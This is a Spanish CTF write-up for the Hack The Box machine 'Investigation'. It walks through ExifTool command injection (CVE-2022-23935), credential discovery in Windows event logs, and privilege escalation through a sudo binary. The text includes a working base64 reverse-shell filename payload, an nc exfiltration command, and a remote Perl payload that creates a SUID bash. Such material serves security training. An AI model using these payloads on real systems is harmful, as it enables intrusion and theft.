Descripción
Investigation es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Aplicación web que utiliza ExifTool vulnerable a Ejecución de Comandos Remotos
- Pivote de usuario analizando un archivo de correo electrónico con un registro del Evento de Windows que contiene credenciales filtradas
- Escalada de privilegios mediante la ingeniería inversa de un binario que puede ejecutarse como el usuario
root
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.197.
$ ping -c 3 10.10.11.197
PING 10.10.11.197 (10.10.11.197) 56(84) bytes of data.
64 bytes from 10.10.11.197: icmp_seq=1 ttl=63 time=45.0 ms
64 bytes from 10.10.11.197: icmp_seq=2 ttl=63 time=43.9 ms
64 bytes from 10.10.11.197: icmp_seq=3 ttl=63 time=44.4 ms
--- 10.10.11.197 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 43.895/44.426/44.986/0.445 ms
La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurar que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP SYN con Nmap para verificar todos los puertos abiertos.
$ sudo nmap 10.10.11.197 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.197
Host is up (0.045s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds
Obtenemos dos puertos abiertos: 22, y 80.
Enumeración
Luego realizamos un escaneo más avanzado, con versión del servicio y scripts.
$ nmap 10.10.11.197 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.197
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 2f:1e:63:06:aa:6e:bb:cc:0d:19:d4:15:26:74:c6:d9 (RSA)
| 256 27:45:20:ad:d2:fa:a7:3a:83:73:d9:7c:79:ab:f3:0b (ECDSA)
|_ 256 42:45:eb:91:6e:21:02:06:17:b2:74:8b:c5:83:4f:e0 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://eforenzics.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: eforenzics.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.67 seconds
Obtenemos tres servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio eforenzics.htb al archivo /etc/hosts.
$ echo '10.10.11.197 eforenzics.htb' | sudo tee -a /etc/hosts
Encontramos un sitio web que ofrece servicios de forensia digital. Ofrece un servicio gratuito de forensia de imágenes.
Podemos subir un archivo de imagen para recibir un análisis forense detallado. Solo soporta archivos con extensión .jpg.
Vamos a utilizar una imagen de prueba que contiene datos EXIF para ayudar a la aplicación web a dar mejores resultados. Después de subir la imagen, el archivo de informe se sube en la URL http://eforenzics.htb/analysed_images/DSCN0010jpg.txt.
$ curl http://eforenzics.htb/analysed_images/DSCN0010jpg.txt
ExifTool Version Number : 12.37
File Name : DSCN0010.jpg
Directory : .
File Size : 158 KiB
...
Encontramos que el “análisis forense” es la salida generada por la aplicación ExifTool. En este caso, se está utilizando la versión 12.37. Esta versión es vulnerable a Inyección de Comandos, el CVE-2022-23935. lib/Image/ExifTool.pm en ExifTool antes de 12.38 maneja incorrectamente una comprobación de $file =~ /\|$/, lo que lleva a la inyección de comandos.
Explotación
Si el nombre del archivo contiene un carácter |, se tratará como un tubería y luego el contenido tras la tubería se ejecutará. Vamos a generar una terminal inversa, después de abrir un puerto TCP escuchando con el comando nc -nvlp 1234. Para hacerlo más fácil, volveremos a subir el archivo .jpg anterior pero vamos a interceptar la solicitud con Burp Suite y reemplazaremos el campo filename del formulario multipart de: Content-Disposition: form-data; name="image"; filename="DSCN0010.jpg" a Content-Disposition: form-data; name="image"; filename="DSCN0010.jpg|<COMMAND_TO_EXECUTE>"|. Por ejemplo:
Content-Disposition: form-data; name="image"; filename="DSCN0010.jpg|echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNi8xMjM0IDA+JjE=|base64 -d|bash|"
Recibimos una terminal inversa como el usuario www-data, la actualizamos.
www-data@investigation:~/uploads/1760988640$ script /dev/null -c bash
www-data@investigation:~/uploads/1760988640$ ^Z
$ stty raw -echo; fg
$ reset xterm
www-data@investigation:~/uploads/1760988640$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Post-Explotación
Encontramos dos usuarios de terminal en el sistema: root y smorton.
www-data@investigation:~/uploads/1760988640$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
smorton:x:1000:1000:eForenzics:/home/smorton:/bin/bash
fwupd-refresh:x:113:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
Podemos listar los trabajos Cron activos:
www-data@investigation:/tmp$ crontab -l
...
*/5 * * * * date >> /usr/local/investigation/analysed_log && echo "Clearing folders" >> /usr/local/investigation/analysed_log && rm -r /var/www/uploads/* && rm /var/www/html/analysed_images/*
Encontramos que el trabajo está escribiendo la fecha y hora con la cadena Clearing folders al archivo /usr/local/investigation/analysed_log. En el directorio /usr/local/investigation encontramos el archivo Windows Event Logs for Analysis.msg. Lo exfiltramos con la herramienta nc.
www-data@investigation:/tmp$ cat '/usr/local/investigation/Windows Event Logs for Analysis.msg' | nc 10.10.14.16 1235
Vamos a convertir el archivo .msg al formato .eml con la herramienta convert-outlook-msg-file.
$ git clone https://github.com/JoshData/convert-outlook-msg-file
$ cd convert-outlook-msg-file
$ virtualenv .env
$ . .env/bin/activate
$ pip install -r requirements.txt
$ python outlookmsgfile.py < ../message.msg > ../message.eml
$ cd ..
$ cat message.eml
--===============1505963319835109832==
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
Hi Steve,
Can you look through these logs to see if our analysts have been logging on t=
o the inspection terminal. I'm concerned that they are moving data on to prod=
uction without following our data transfer procedures.=20
Regards.
Tom
--===============1505963319835109832==--
--===============8864890021520972481==
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="evtx-logs.zip"
MIME-Version: 1.0
UEsDBBQAAAAIAJBsAVWzNSwXM3oTAAAQ8QANAAAAc2VjdXJpdHkuZXZ0eOxdCXxVxdU/b8nLRhZk
...
Es un correo electrónico enviado desde el usuario thomas.jones al steve.morton. Esto puede estar relacionado con el usuario smorton. Están hablando sobre revisar algunos registros sobre una conexión en la terminal de inspección que están adjuntos en el correo como el archivo evtx-logs.zip. Lo extraemos del archivo .eml y como está codificado con Base64 lo decodificamos.
$ tail -n +49 message.eml | head -n -3 | base64 -d > evtx-logs.zip
$ unzip evtx-logs.zip
Archive: evtx-logs.zip
inflating: security.evtx
Ahora tenemos el archivo security.evtx, que es un registro del Evento de Windows. Podemos analizar el archivo con la herramienta evtx y convertirlo a un archivo .xml.
$ wget https://github.com/omerbenamram/evtx/releases/download/v0.9.0/evtx_dump-v0.9.0-x86_64-unknown-linux-gnu
$ chmod +x evtx_dump-v0.9.0-x86_64-unknown-linux-gnu
$ ./evtx_dump-v0.9.0-x86_64-unknown-linux-gnu security.evtx > security.xml
Ahora vamos al archivo para la cadena username, ignorando las mayúsculas y minúsculas.
$ grep -Ei 'username' security.xml | sort -u
<SubjectUserName>SMorton</SubjectUserName>
<Data Name="SubjectUserName">AAnderson</Data>
...
<Data Name="SubjectUserName">EFORENZICS-DI$</Data>
<Data Name="SubjectUserName">HMarley</Data>
<Data Name="SubjectUserName">LJenkins</Data>
<Data Name="SubjectUserName">LMonroe</Data>
<Data Name="SubjectUserName">LOCAL SERVICE</Data>
<Data Name="SubjectUserName">SMorton</Data>
...
<Data Name="TargetUserName">aanderson</Data>
<Data Name="TargetUserName">AAnderson</Data>
<Data Name="TargetUserName">Administrator</Data>
<Data Name="TargetUserName">Administrators</Data>
<Data Name="TargetUserName">AWright</Data>
<Data Name="TargetUserName">Backup Operators</Data>
<Data Name="TargetUserName">BMay</Data>
...
<Data Name="TargetUserName">Def@ultf0r3nz!csPa$$</Data>
...
<Data Name="TargetUserName">EFORENZICS-DI$</Data>
<Data Name="TargetUserName">EKora</Data>
<Data Name="TargetUserName">Guest</Data>
<Data Name="TargetUserName">hmarley</Data>
<Data Name="TargetUserName">HMarley</Data>
<Data Name="TargetUserName">hmraley</Data>
<Data Name="TargetUserName">IPerez</Data>
<Data Name="TargetUserName">JClark</Data>
<Data Name="TargetUserName">KTyson</Data>
<Data Name="TargetUserName">ljenkins</Data>
<Data Name="TargetUserName">LJenkins</Data>
<Data Name="TargetUserName">lmonroe</Data>
<Data Name="TargetUserName">LMonroe</Data>
<Data Name="TargetUserName">LOCAL SERVICE</Data>
<Data Name="TargetUserName">smorton</Data>
<Data Name="TargetUserName">SMorton</Data>
...
<Data Name="TargetUserName">WDAGUtilityAccount</Data>
<Data Name="UserName">NT AUTHORITY\LOCAL SERVICE</Data>
Encontramos un nombre de usuario inesperado, Def@ultf0r3nz!csPa$$. Esto parece ser una contraseña introducida por error como nombre de usuario. Comprobamos si podemos iniciar sesión con el usuario smorton y la contraseña Def@ultf0r3nz!csPa$$ mediante SSH.
$ ssh smorton@eforenzics.htb
smorton@investigation:~$ id
uid=1000(smorton) gid=1000(smorton) groups=1000(smorton)
smorton@investigation:~$ sudo -l
Matching Defaults entries for smorton on investigation:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User smorton may run the following commands on investigation:
(root) NOPASSWD: /usr/bin/binary
Iniciamos sesión correctamente, smorton solo puede ejecutar un comando como usuario root, el binario /usr/bin/binary. Si lo ejecutamos obtenemos el mensaje Exiting....
smorton@investigation:~$ sudo /usr/bin/binary
Exiting...
Recuperamos el archivo y lo decompilamos con la herramienta Decompile Explorer, por ejemplo.
$ scp smorton@eforenzics.htb:/usr/bin/binary .
smorton@eforenzics.htb's password:
Parte del código decompilado es:
...
int main(int argc, char ** argv) {
if ((int32_t)argc != 3 || getuid() != 0) {
// 0x144c
puts("Exiting... ");
exit(0);
// UNREACHABLE
}
int64_t v1 = (int64_t)argv; // 0x1481
int64_t * str = (int64_t *)(v1 + 16); // 0x1489
if (strcmp((char *)*str, "lDnxUysaQn") != 0) {
// 0x1680
puts("Exiting... ");
exit(0);
// UNREACHABLE
}
// 0x14a3
puts("Running... ");
struct _IO_FILE * file = fopen((char *)*str, "wb"); // 0x14c4
int64_t v2 = curl_easy_init(); // 0x14cd
curl_easy_setopt(v2, 0x2712, *(int64_t *)(v1 + 8), 0x2712);
curl_easy_setopt(v2, 0x2711, (int64_t)file, 0x2711);
curl_easy_setopt(v2, 45, 1, 45);
if ((int32_t)curl_easy_perform(v2) != 0) {
// 0x166a
puts("Exiting... ");
exit(0);
// UNREACHABLE
}
int32_t size = snprintf(NULL, 0, "%s", (char *)*str) + 1; // 0x158d
int64_t * mem = malloc(size); // 0x1594
snprintf((char *)mem, size, "%s", (char *)*str);
int32_t size2 = snprintf(NULL, 0, "perl ./%s", mem) + 1; // 0x15f7
int64_t * mem2 = malloc(size2); // 0x15fe
snprintf((char *)mem2, size2, "perl ./%s", mem);
fclose(file);
curl_easy_cleanup(v2);
setuid(0);
system((char *)mem2);
system("rm -f ./lDnxUysaQn");
return 0;
}
...
Encontramos en el archivo que espera tres argumentos (el nombre de archivo y dos especificados por el usuario). Luego en la misma condición se verifica si el usuario que ejecuta el binario es el usuario root (UID 0). Luego se verifica si el segundo parámetro ingresado por el usuario coincide con la cadena lDnxUysaQn. Luego abre un archivo en modo escritura binaria (wb) con el nombre de la cadena anterior. Luego utiliza la librería cURL para descargar un archivo desde la URL especificada por el primer parámetro ingresado por el usuario, para ser ejecutado más tarde por el comando Perl. Por lo tanto, vamos a crear un script Perl para crear un nuevo binario Bash SUID en la carpeta /tmp. Subimos el script Perl en nuestro servidor HTTP.
$ cat <<'EOF' > ./perl.pl
#!/usr/bin/perl
use strict;
use warnings;
# Run the command and capture its output
my $cmd = 'cp /bin/bash /tmp/suid-bash; chmod u+s /tmp/suid-bash';
my @output = `$cmd`;
# Check for errors
if ($? != 0) {
die "Failed to run command: $cmd\n";
}
# Print the output
print @output;
EOF
$ python -m http.server 80
Ahora ejecutamos el comando binary y finalmente obtenemos una terminal root.
smorton@investigation:~$ sudo /usr/bin/binary http://10.10.14.16/perl.pl lDnxUysaQn
Running...
smorton@investigation:~$ /tmp/suid-bash -p
suid-bash-5.0# id
uid=1000(smorton) gid=1000(smorton) euid=0(root) groups=1000(smorton)
Flags
En la terminal root podemos recuperar los archivos user.txt y root.txt.
suid-bash-5.0# cat /home/smorton/user.txt
<REDACTED>
suid-bash-5.0# cat /root/root.txt
<REDACTED>